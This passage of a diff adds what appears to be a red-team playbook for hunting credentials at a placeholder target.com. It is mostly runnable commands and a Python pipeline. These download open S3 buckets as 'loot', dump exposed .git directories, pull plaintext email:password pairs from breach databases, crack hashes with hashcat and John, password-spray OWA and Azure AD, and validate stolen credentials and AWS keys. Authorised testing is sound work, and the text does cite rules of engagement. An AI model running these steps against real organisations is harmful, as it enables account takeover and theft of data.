+ && echo "[!] BUCKET READABLE: ${TARGET_ORG}" \
286
+ >> _rtexit-output/findings/credentials/open-buckets.txt
287
+
288
+ # Download all contents from an open bucket
289
+ aws s3 sync s3://${TARGET_ORG} /tmp/s3-loot/${TARGET_ORG}/ --no-sign-request
290
+ # Then search for secrets
291
+ grep -rE '(password|passwd|secret|api_key|token|aws_secret|private_key)' \
292
+ /tmp/s3-loot/${TARGET_ORG}/ \
293
+ > _rtexit-output/findings/credentials/s3-secrets-found.txt
294
+ ```
295
+
296
+ #### Exposed .git Directory Dump
297
+
298
+ ```bash
299
+ TARGET_URL="https://target.com"
300
+
301
+ # Check if .git is exposed
302
+ curl -s -o /dev/null -w "%{http_code}" "${TARGET_URL}/.git/HEAD"
303
+ # 200 = exposed
304
+
305
+ # Dump the entire .git directory
306
+ git-dumper "${TARGET_URL}/.git" /tmp/git-dump/
307
+
308
+ # Reconstruct repo and search for secrets
309
+ cd /tmp/git-dump/
310
+ git log --all --oneline
311
+ git log --all -p | grep -iE '(password|secret|api_key|token|credential)' \
312
+ > _rtexit-output/findings/credentials/git-dump-secrets.txt
313
+
314
+ # TruffleHog scan on dumped repo
315
+ trufflehog git file:///tmp/git-dump/ \
316
+ --json \
317
+ > _rtexit-output/findings/credentials/trufflehog-git-dump.json
318
+ ```
319
+
320
+ #### Nuclei — Scan for Exposed Credential Endpoints
321
+
322
+ ```bash
323
+ TARGET="https://target.com"
324
+
325
+ # Scan for exposed .env, config files, and credential endpoints
326
+ nuclei -u "${TARGET}" \
327
+ -t exposures/configs/ \
328
+ -t exposures/files/ \
329
+ -t misconfiguration/ \
330
+ -severity medium,high,critical \
331
+ -json \
332
+ -o _rtexit-output/findings/credentials/nuclei-exposures.json
333
+
334
+ # Specific templates for credential exposure
335
+ nuclei -u "${TARGET}" \
336
+ -t exposures/configs/laravel-env.yaml \
337
+ -t exposures/configs/rails-env.yaml \
338
+ -t exposures/configs/symfony-env.yaml \
339
+ -t exposures/configs/wp-config.yaml \
340
+ -t exposures/configs/firebase-config.yaml \
341
+ -json \
342
+ -o _rtexit-output/findings/credentials/nuclei-config-files.json
343
+ ```
344
+
345
+ #### Credential Validation — Password Spray (Restrained)
346
+
347
+ > Only spray with explicit RoE permission. Use low-and-slow to avoid lockouts. Default: 1 attempt per account per 30 minutes.
348
+
349
+ ```bash
350
+ # Generate target credential list from breach data
351
+ # Deduplicate passwords and sort by frequency
352
+ awk -F: '{print $2}' _rtexit-output/findings/credentials/dehashed-creds.txt \
353
+ | sort | uniq -c | sort -rn | head -50 \
354
+ | awk '{print $2}' \
355
+ > /tmp/top-breach-passwords.txt
356
+
357
+ # Validate against OWA / Exchange (common enterprise target)
358
+ TARGET_OWA="https://mail.target.com"
359
+ python3 /opt/ruler/ruler.py \
360
+ --domain target.com \
361
+ --url "${TARGET_OWA}" \
362
+ --usernames /tmp/target_usernames.txt \
363
+ --passwords /tmp/top-breach-passwords.txt \
364
+ --delay 30 \
365
+ --output _rtexit-output/findings/credentials/owa-spray-results.txt
366
+
367
+ # Validate against Azure AD / O365 (using MSOLSpray or Spray365)
368
+ python3 /opt/MSOLSpray/MSOLSpray.py \
369
+ --userlist /tmp/target_emails.txt \
370
+ --password "Password123!" \
371
+ --out _rtexit-output/findings/credentials/msol-spray-results.txt
372
+
373
+ # REST API — test individual credentials quietly
374
+ FOUND_EMAIL="user@target.com"
375
+ FOUND_PASS="SomeBreachedPassword1"
376
+ curl -s -o /dev/null -w "%{http_code}" \
377
+ -u "${FOUND_EMAIL}:${FOUND_PASS}" \
378
+ "https://api.target.com/v1/me" \
379
+ && echo "VALID: ${FOUND_EMAIL}:${FOUND_PASS}" \
380
+ >> _rtexit-output/findings/credentials/validated-creds.txt
381
+ ```
382
+
383
+ ---
384
+
385
+ ### EXPERT — Full Pipeline: OSINT + Breach Correlation + Hash Cracking + MFA Bypass Research
386
+
387
+ End-to-end automated pipeline from target domain to validated credentials, including offline hash cracking and MFA token analysis.
388
+
389
+ #### Automated Credential Hunt Pipeline Script
390
+
391
+ Save as `_rtexit/scripts/cred_hunt.py`:
392
+
393
+ ```python
394
+ #!/usr/bin/env python3
395
+ """
396
+ rt-credential-hunt — RTExit Automated Credential Hunt Pipeline
397
+ Author: Red Team Operator
398
+ Usage: python3 cred_hunt.py --domain target.com --output _rtexit-output/findings/credentials/
399
+ """
400
+
401
+ import argparse
402
+ import os
403
+ import json
404
+ import time
405
+ import requests
406
+ import subprocess
407
+ from datetime import datetime
408
+ from pathlib import Path
409
+
410
+
411
+ def hibp_domain_check(domain: str, api_key: str, output_dir: Path) -> dict:
412
+ """Check HaveIBeenPwned for domain breach data."""
413
+ headers = {
414
+ "hibp-api-key": api_key,
415
+ "User-Agent": "RTExit-CredHunt/1.0"
416
+ }
417
+ url = f"https://haveibeenpwned.com/api/v3/breacheddomain/{domain}"
418
+ resp = requests.get(url, headers=headers)
419
+ if resp.status_code == 200:
420
+ data = resp.json()
421
+ out_file = output_dir / "hibp-domain-breaches.json"
422
+ out_file.write_text(json.dumps(data, indent=2))
423
+ print(f"[+] HIBP: {len(data)} email addresses found in breaches for {domain}")
424
+ return data
425
+ elif resp.status_code == 404:
426
+ print(f"[-] HIBP: No breaches found for {domain}")
427
+ return {}
428
+ else:
429
+ print(f"[!] HIBP error: {resp.status_code}")
430
+ return {}
431
+
432
+
433
+ def dehashed_query(domain: str, email: str, api_key: str, output_dir: Path) -> list:
434
+ """Query DeHashed for credential pairs."""
435
+ url = f"https://api.dehashed.com/search?query=domain%3A{domain}&size=10000"
436
+ resp = requests.get(url, auth=(email, api_key), headers={"Accept": "application/json"})
437
+ if resp.status_code == 200:
438
+ data = resp.json()
439
+ entries = data.get("entries", []) or []
440
+ out_file = output_dir / "dehashed-raw.json"
441
+ out_file.write_text(json.dumps(data, indent=2))
442
+ # Extract plaintext creds
443
+ creds = []
444
+ hashes = []
445
+ for e in entries:
446
+ if e.get("password"):
447
+ creds.append(f"{e.get('email', '')}:{e['password']}")
448
+ if e.get("hashed_password"):
449
+ hashes.append(f"{e.get('email', '')}:{e['hashed_password']}")
450
+ (output_dir / "dehashed-creds.txt").write_text("\n".join(creds))
451
+ (output_dir / "dehashed-hashes.txt").write_text("\n".join(hashes))
452
+ print(f"[+] DeHashed: {len(creds)} plaintext creds, {len(hashes)} hashes for {domain}")
453
+ return entries
454
+ else:
455
+ print(f"[!] DeHashed error: {resp.status_code} — {resp.text[:200]}")
456
+ return []
457
+
458
+
459
+ def trufflehog_scan(target: str, token: str, output_dir: Path, scan_type: str = "github"):
460
+ """Run TruffleHog against a GitHub org or git URL."""
461
+ out_file = output_dir / f"trufflehog-{scan_type}.json"
462
+ if scan_type == "github":
463
+ cmd = [
464
+ "trufflehog", "github",
465
+ "--org", target,
466
+ f"--token={token}",
467
+ "--only-verified",
468
+ "--json"
469
+ ]
470
+ else:
471
+ cmd = [
472
+ "trufflehog", "git", target,
473
+ f"--token={token}",
474
+ "--only-verified",
475
+ "--json"
476
+ ]
477
+ print(f"[*] Running TruffleHog ({scan_type}) against {target}...")
478
+ with open(out_file, "w") as f:
479
+ result = subprocess.run(cmd, stdout=f, stderr=subprocess.DEVNULL)
480
+ findings = []
481
+ with open(out_file) as f:
482
+ for line in f:
483
+ try:
484
+ findings.append(json.loads(line))
485
+ except json.JSONDecodeError:
486
+ pass
487
+ print(f"[+] TruffleHog: {len(findings)} verified secrets found")
488
+ return findings
489
+
490
+
491
+ def generate_report(domain: str, output_dir: Path, findings: dict):
492
+ """Generate a markdown findings report."""
493
+ report_lines = [
494
+ f"# Credential Hunt Report — {domain}",
495
+ f"Generated: {datetime.utcnow().isoformat()}Z",
496
+ "",
497
+ "## Summary",
498
+ f"- HIBP breach emails: {findings.get('hibp_count', 0)}",
499
+ f"- DeHashed plaintext creds: {findings.get('dehashed_creds', 0)}",
500
+ f"- DeHashed hashes: {findings.get('dehashed_hashes', 0)}",
501
+ f"- TruffleHog verified secrets: {findings.get('trufflehog_count', 0)}",
502
+ "",
503
+ "## Files",
504
+ f"- Raw breach data: {output_dir}/dehashed-raw.json",
505
+ f"- Credential pairs: {output_dir}/dehashed-creds.txt",
506
+ f"- Hash pairs: {output_dir}/dehashed-hashes.txt",
507
+ f"- GitHub secrets: {output_dir}/trufflehog-github.json",
508
+ "",
509
+ "## Next Steps",
510
+ "1. Validate plaintext credentials against target services",
511
+ "2. Submit hashes to hashcat/john for offline cracking",
512
+ "3. Review TruffleHog findings for API keys to test",
513
+ "4. Check validated creds for MFA gaps",
514
+ ]
515
+ report = "\n".join(report_lines)
516
+ report_file = output_dir / "cred-hunt-report.md"
517
+ report_file.write_text(report)
518
+ print(f"[+] Report written to {report_file}")
519
+
520
+
521
+ def main():
522
+ parser = argparse.ArgumentParser(description="RTExit Credential Hunt Pipeline")
523
+ parser.add_argument("--domain", required=True, help="Target domain (e.g. target.com)")
524
+ parser.add_argument("--org", default=None, help="GitHub org name (if different from domain)")
525
+ parser.add_argument("--output", default="_rtexit-output/findings/credentials/")
526
+ args = parser.parse_args()
527
+
528
+ output_dir = Path(args.output)
529
+ output_dir.mkdir(parents=True, exist_ok=True)
530
+
531
+ hibp_key = os.environ.get("HIBP_API_KEY", "")
532
+ dehashed_key = os.environ.get("DEHASHED_API_KEY", "")
533
+ dehashed_email = os.environ.get("DEHASHED_EMAIL", "")
534
+ github_token = os.environ.get("GITHUB_TOKEN", "")
535
+
536
+ findings = {}
537
+
538
+ if hibp_key:
539
+ hibp_data = hibp_domain_check(args.domain, hibp_key, output_dir)
540
+ findings["hibp_count"] = len(hibp_data)
541
+ else:
542
+ print("[!] HIBP_API_KEY not set — skipping HIBP check")
543
+
544
+ if dehashed_key and dehashed_email:
545
+ time.sleep(1)
546
+ entries = dehashed_query(args.domain, dehashed_email, dehashed_key, output_dir)
547
+ findings["dehashed_creds"] = sum(1 for e in entries if e.get("password"))
548
+ findings["dehashed_hashes"] = sum(1 for e in entries if e.get("hashed_password"))
549
+ else:
550
+ print("[!] DEHASHED_API_KEY or DEHASHED_EMAIL not set — skipping DeHashed")
551
+
552
+ if github_token:
553
+ org = args.org or args.domain.split(".")[0]
554
+ th_findings = trufflehog_scan(org, github_token, output_dir, scan_type="github")
555
+ findings["trufflehog_count"] = len(th_findings)
556
+ else:
557
+ print("[!] GITHUB_TOKEN not set — skipping TruffleHog GitHub scan")
558
+
559
+ generate_report(args.domain, output_dir, findings)
560
+
561
+
562
+ if __name__ == "__main__":
563
+ main()
564
+ ```
565
+
566
+ Run the pipeline:
567
+ ```bash
568
+ python3 _rtexit/scripts/cred_hunt.py \
569
+ --domain target.com \
570
+ --org TargetGitHubOrgName \
571
+ --output _rtexit-output/findings/credentials/
572
+ ```
573
+
574
+ #### Offline Hash Cracking
575
+
576
+ ```bash
577
+ HASH_FILE="_rtexit-output/findings/credentials/dehashed-hashes.txt"
578
+
579
+ # Extract raw hashes (strip email prefix)
580
+ awk -F: '{print $NF}' "${HASH_FILE}" > /tmp/raw-hashes.txt
581
+
582
+ # Identify hash type
583
+ hashid $(head -1 /tmp/raw-hashes.txt)
584
+
585
+ # Hashcat — MD5 (most common in old breaches)
586
+ hashcat -m 0 /tmp/raw-hashes.txt \
587
+ /usr/share/wordlists/rockyou.txt \
588
+ -r /usr/share/hashcat/rules/best64.rule \
589
+ --outfile _rtexit-output/findings/credentials/cracked-md5.txt
590
+
591
+ # Hashcat — bcrypt ($2y / $2a)
592
+ hashcat -m 3200 /tmp/raw-hashes.txt \
593
+ /usr/share/wordlists/rockyou.txt \
594
+ --outfile _rtexit-output/findings/credentials/cracked-bcrypt.txt
595
+
596
+ # Hashcat — SHA-1
597
+ hashcat -m 100 /tmp/raw-hashes.txt \
598
+ /usr/share/wordlists/rockyou.txt \
599
+ -r /usr/share/hashcat/rules/best64.rule \
600
+ --outfile _rtexit-output/findings/credentials/cracked-sha1.txt
601
+
602
+ # John the Ripper — auto-detect and crack
603
+ john --wordlist=/usr/share/wordlists/rockyou.txt \
604
+ --rules=Jumbo \
605
+ /tmp/raw-hashes.txt \
606
+ --output=_rtexit-output/findings/credentials/john-cracked.txt
607
+
608
+ # SecLists — use targeted wordlists for corporate environments
609
+ # SecLists path on Kali: /usr/share/seclists/
610
+ hashcat -m 0 /tmp/raw-hashes.txt \
611
+ /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \
612
+ --outfile _rtexit-output/findings/credentials/cracked-seclists.txt
613
+ ```
614
+
615
+ #### Shodan — Find Exposed Config Files on Target Infrastructure
616
+
617
+ ```bash
618
+ TARGET_DOMAIN="target.com"
619
+
620
+ # Search Shodan for exposed config files on target IP ranges
621
+ shodan search "hostname:${TARGET_DOMAIN} http.title:\"Index of\"" \
622
+ --fields ip_str,port,hostnames \
623
+ > _rtexit-output/findings/credentials/shodan-exposed-dirs.txt
624
+
625
+ # Search for exposed environment files
626
+ shodan search "hostname:${TARGET_DOMAIN} http.html:\".env\"" \
627
+ --fields ip_str,port,hostnames \
628
+ > _rtexit-output/findings/credentials/shodan-env-files.txt
629
+
630
+ # Download Shodan JSON for processing
631
+ shodan search "hostname:${TARGET_DOMAIN}" --format json \
632
+ > _rtexit-output/findings/credentials/shodan-full.json
633
+ ```
634
+
635
+ ---
636
+
637
+ ## Step-by-Step Workflow
638
+
639
+ ### Phase 1 — Preparation
640
+
641
+ 1. Confirm RoE permits breach database lookups and credential validation.
642
+ 2. Source API keys: `source ~/.rtenv`
643
+ 3. Create output directory:
644
+ ```bash
645
+ mkdir -p _rtexit-output/findings/credentials/
646
+ ```
647
+ 4. Collect target emails from OSINT (LinkedIn scraping, theHarvester, Hunter.io):
648
+ ```bash
649
+ theHarvester -d target.com -b linkedin,google,bing -f /tmp/harvester-out
650
+ # Extract emails
651
+ grep -oE '[a-zA-Z0-9._%+\-]+@target\.com' /tmp/harvester-out.xml \
652
+ | sort -u > /tmp/target_emails.txt
653
+ ```
654
+
655
+ ### Phase 2 — Breach Database Query
656
+
657
+ 5. Run HIBP domain check:
658
+ ```bash
659
+ curl -s -H "hibp-api-key: ${HIBP_API_KEY}" \
660
+ -H "User-Agent: RTExit-CredHunt/1.0" \
661
+ "https://haveibeenpwned.com/api/v3/breacheddomain/target.com" \
662
+ | jq '.' > _rtexit-output/findings/credentials/hibp-breaches.json
663
+ ```
664
+ 6. Run DeHashed query for credential pairs (see INTERMEDIATE section).
665
+ 7. Run IntelligenceX paste site search (see INTERMEDIATE section).
666
+
667
+ ### Phase 3 — GitHub / Source Code Secret Scanning
668
+
669
+ 8. Run TruffleHog against target GitHub org:
670
+ ```bash
671
+ trufflehog github --org TargetOrg --token="${GITHUB_TOKEN}" --only-verified --json \
672
+ > _rtexit-output/findings/credentials/trufflehog-github.json
673
+ ```
674
+ 9. Run GitLeaks on any cloned target repositories:
675
+ ```bash
676
+ gitleaks detect --source /tmp/target-repo/ --report-format json \
677
+ --report-path _rtexit-output/findings/credentials/gitleaks-report.json
678
+ ```
679
+ 10. Run GitDorker for GitHub code search dorks:
680
+ ```bash
681
+ cd /opt/GitDorker && python3 GitDorker.py \
682
+ -t ${GITHUB_TOKEN} -q target.com \
683
+ -d dorks/BHIS_generaldorks.txt \
684
+ -o _rtexit-output/findings/credentials/gitdorker-results.txt
685
+ ```
686
+
687
+ ### Phase 4 — Cloud and Infrastructure Exposure
688
+
689
+ 11. Enumerate S3 buckets (see ADVANCED section).
690
+ 12. Check for exposed .git directories on target web servers.
691
+ 13. Run Nuclei against target web applications:
692
+ ```bash
693
+ nuclei -u https://target.com -t exposures/ -severity medium,high,critical \
694
+ -json -o _rtexit-output/findings/credentials/nuclei-exposures.json
695
+ ```
696
+
697
+ ### Phase 5 — Hash Cracking
698
+
699
+ 14. Extract hashes from DeHashed output.
700
+ 15. Identify hash types with `hashid` or `hash-identifier`.
701
+ 16. Run hashcat with rockyou + SecLists wordlists and best64 rules.
702
+ 17. For slow hash types (bcrypt, scrypt), prioritize top-500 passwords only.
703
+
704
+ ### Phase 6 — Credential Validation
705
+
706
+ 18. Test plaintext creds against discovered login portals (OWA, VPN, Citrix, cloud consoles).
707
+ 19. Validate API keys found in GitHub against their respective services.
708
+ 20. Test cloud credentials (AWS access keys, GCP service account JSON):
709
+ ```bash
710
+ # AWS key validation
711
+ AWS_ACCESS_KEY_ID="AKIA..." AWS_SECRET_ACCESS_KEY="..." \
712
+ aws sts get-caller-identity 2>&1
713
+ ```
714
+
715
+ ### Phase 7 — Documentation
716
+
717
+ 21. Log all findings to RTExit autodoc engine:
718
+ ```bash
719
+ python3 _rtexit/scripts/autodoc_engine.py finding add \
720
+ --type credential \
721
+ --severity critical \
722
+ --title "Valid credentials found via breach database" \
723
+ --evidence _rtexit-output/findings/credentials/ \
724
+ --ref ENGAGEMENT_REF
725
+ ```
726
+ 22. Generate consolidated credential hunt report.
727
+
728
+ ---
729
+
730
+ ## Tools Referenced
731
+
732
+ | Tool | URL | Purpose |
733
+ |------|-----|---------|
734
+ | TruffleHog | https://github.com/trufflesecurity/trufflehog | Secret detection in git repos, S3, GitHub orgs |
735
+ | GitLeaks | https://github.com/gitleaks/gitleaks | Fast regex-based secret detection in git |
736
+ | GitDorker | https://github.com/obheda12/GitDorker | GitHub code search dorks automation |
737
+ | Gitrob | https://github.com/michenriksen/gitrob | GitHub org recon and sensitive file detection |
738
+ | git-dumper | https://github.com/arthaud/git-dumper | Dump exposed .git directories from web servers |
739
+ | S3Scanner | https://github.com/sa7mon/S3Scanner | Enumerate and check S3 bucket permissions |
740
+ | CloudBrute | https://github.com/0xsha/CloudBrute | Cloud storage brute-force (AWS, Azure, GCP) |
741
+ | MSOLSpray | https://github.com/dafthack/MSOLSpray | Office 365 / Azure AD password spray |
742
+ | Spray365 | https://github.com/MarkoH17/Spray365 | Modular O365 spray with MFA detection |
743
+ | Ruler | https://github.com/sensepost/ruler | Exchange/OWA interaction and spray |
744
+ | Nuclei | https://github.com/projectdiscovery/nuclei | Template-based vulnerability and exposure scanner |
745
+ | theHarvester | https://github.com/laramies/theHarvester | Email and domain OSINT |
746
+ | SecLists | https://github.com/danielmiessler/SecLists | Wordlists for passwords, paths, fuzzing |
747
+ | Hashcat | https://github.com/hashcat/hashcat | GPU-accelerated offline hash cracking |
748
+ | HaveIBeenPwned API | https://haveibeenpwned.com/API/v3 | Domain and email breach lookup |
749
+ | DeHashed | https://www.dehashed.com/api | Full credential pair retrieval from breaches |
750
+ | IntelligenceX | https://intelx.io/api | Paste sites, dark web, breach data search |
751
+ | Shodan | https://shodan.io | Exposed configs and files on internet-facing hosts |
752
+
753
+ ---
754
+
755
+ ## Output Files
756
+
757
+ All output is saved under `_rtexit-output/findings/credentials/`. Standard file naming:
758
+
759
+ | File | Contents |
760
+ |------|----------|
761
+ | `hibp-domain-breaches.json` | HIBP domain breach response |
762
+ | `hibp-email-hits.txt` | Breached email addresses (pipe-delimited with breach names) |
763
+ | `dehashed-raw.json` | Full DeHashed API response |
764
+ | `dehashed-creds.txt` | Plaintext `email:password` pairs |
765
+ | `dehashed-hashes.txt` | `email:hash` pairs for offline cracking |
766
+ | `cracked-md5.txt` | Hashcat cracked MD5 results |
767
+ | `cracked-sha1.txt` | Hashcat cracked SHA-1 results |
768
+ | `cracked-bcrypt.txt` | Hashcat cracked bcrypt results |
769
+ | `trufflehog-github.json` | TruffleHog verified GitHub secrets |
770
+ | `trufflehog-repo.json` | TruffleHog per-repo scan results |
771
+ | `gitleaks-report.json` | GitLeaks findings |
772
+ | `gitdorker-results.txt` | GitDorker dork hits |
773
+ | `intelx-results.json` | IntelligenceX paste/dark web results |
774
+ | `s3-buckets.txt` | S3Scanner open/accessible buckets |
775
+ | `cloudbrute-results.txt` | CloudBrute enumeration results |
776
+ | `s3-secrets-found.txt` | Secrets found in S3 bucket contents |
777
+ | `nuclei-exposures.json` | Nuclei exposure scan findings |
778
+ | `git-dump-secrets.txt` | Secrets extracted from dumped .git |
779
+ | `validated-creds.txt` | Confirmed valid `email:password` pairs |
780
+ | `shodan-exposed-dirs.txt` | Shodan open directory listings on target |
781
+ | `cred-hunt-report.md` | Consolidated markdown findings report |
782
+
783
+ ### RTExit Autodoc Integration
784
+
785
+ Register findings with the autodoc engine after each major discovery:
786
+
787
+ ```bash
788
+ # Register a critical credential finding
789
+ python3 _rtexit/scripts/autodoc_engine.py finding add \
790
+ --type credential \
791
+ --severity critical \
792
+ --title "Plaintext credentials retrieved from breach database" \
793
+ --description "DeHashed returned N plaintext credential pairs for @target.com. N credentials validated against OWA." \
794
+ --evidence "_rtexit-output/findings/credentials/validated-creds.txt" \
795
+ --ref "${ENGAGEMENT_REF}"
796
+
797
+ # Register an informational finding (breached but not validated)
798
+ python3 _rtexit/scripts/autodoc_engine.py finding add \
799
+ --type credential \
800
+ --severity high \
801
+ --title "Target email addresses present in public breach databases" \
802
+ --description "HIBP indicates N unique email addresses for @target.com appear in known breaches including [breach names]." \
803
+ --evidence "_rtexit-output/findings/credentials/hibp-domain-breaches.json" \
804
+ --ref "${ENGAGEMENT_REF}"
805
+
806
+ # Generate updated engagement report
807
+ python3 _rtexit/scripts/autodoc_engine.py report generate \
808
+ --ref "${ENGAGEMENT_REF}" \
809
+ --section credentials
810
+ ```
811
+
812
+ ---
813
+
814
+ ## SecLists Wordlist References
815
+
816
+ Relevant SecLists paths on Kali Linux (`/usr/share/seclists/`):
817
+
818
+ | Path | Use |
819
+ |------|-----|
820
+ | `Passwords/Common-Credentials/10-million-password-list-top-1000.txt` | Top 1K spray list |
821
+ | `Passwords/Common-Credentials/10-million-password-list-top-100000.txt` | Broad spray / crack |
822
+ | `Passwords/Leaked-Databases/rockyou.txt.tar.gz` | Classic breach wordlist |
823
+ | `Passwords/darkweb2017-top10000.txt` | Dark web breach passwords |
824
+ | `Passwords/Common-Credentials/best1050.txt` | Best 1050 for targeted spray |
825
+ | `Usernames/top-usernames-shortlist.txt` | Username enumeration |
826
+ | `Discovery/Web-Content/common.txt` | Web path discovery |
827
+ | `Discovery/Web-Content/spring-boot.txt` | Spring Boot actuator endpoints |
828
+
829
+ Install SecLists if not present:
830
+ ```bash
831
+ sudo apt-get install -y seclists
832
+ # OR
833
+ git clone https://github.com/danielmiessler/SecLists.git /usr/share/seclists
834
+ ```
835
+
836
+ ---
837
+
838
+ ## Resources
839
+
840
+ | Resource | URL | Notes |
841
+ |----------|-----|-------|
842
+ | HIBP API v3 Docs | https://haveibeenpwned.com/API/v3 | Rate limits, auth, endpoints |
843
+ | DeHashed API Docs | https://www.dehashed.com/api | Query syntax, result format |
844
+ | IntelligenceX API | https://intelx.io/api | Search types, media filters |
845
+ | TruffleHog Docs | https://github.com/trufflesecurity/trufflehog#readme | Detectors list, modes |
846
+ | GitLeaks Configuration | https://github.com/gitleaks/gitleaks#configuration | Custom rules, allowlists |
847
+ | Nuclei Template Library | https://github.com/projectdiscovery/nuclei-templates | Exposures, configs templates |
848
+ | Hashcat Wiki | https://hashcat.net/wiki/ | Hash modes, attack types |
849
+ | Hashcat Rule Files | https://github.com/hashcat/hashcat/tree/master/rules | best64, d3ad0ne, Hob0Rules |
850
+ | Hob0Rules (advanced rules) | https://github.com/praetorian-inc/Hob0Rules | Best hashcat ruleset for corporate |
851
+ | SecLists GitHub | https://github.com/danielmiessler/SecLists | All wordlists |
852
+ | MITRE ATT&CK T1589.001 | https://attack.mitre.org/techniques/T1589/001/ | Gather Victim Identity Info: Credentials |
853
+ | MITRE ATT&CK T1552 | https://attack.mitre.org/techniques/T1552/ | Unsecured Credentials |
854
+ | MITRE ATT&CK T1078 | https://attack.mitre.org/techniques/T1078/ | Valid Accounts |
855
+ | HackTricks — Credential Hunting | https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology | Comprehensive OSINT recon |
856
+ | Pentest.ws Cheatsheet | https://pentest.ws/notes/credentials/hunting | Operator quick reference |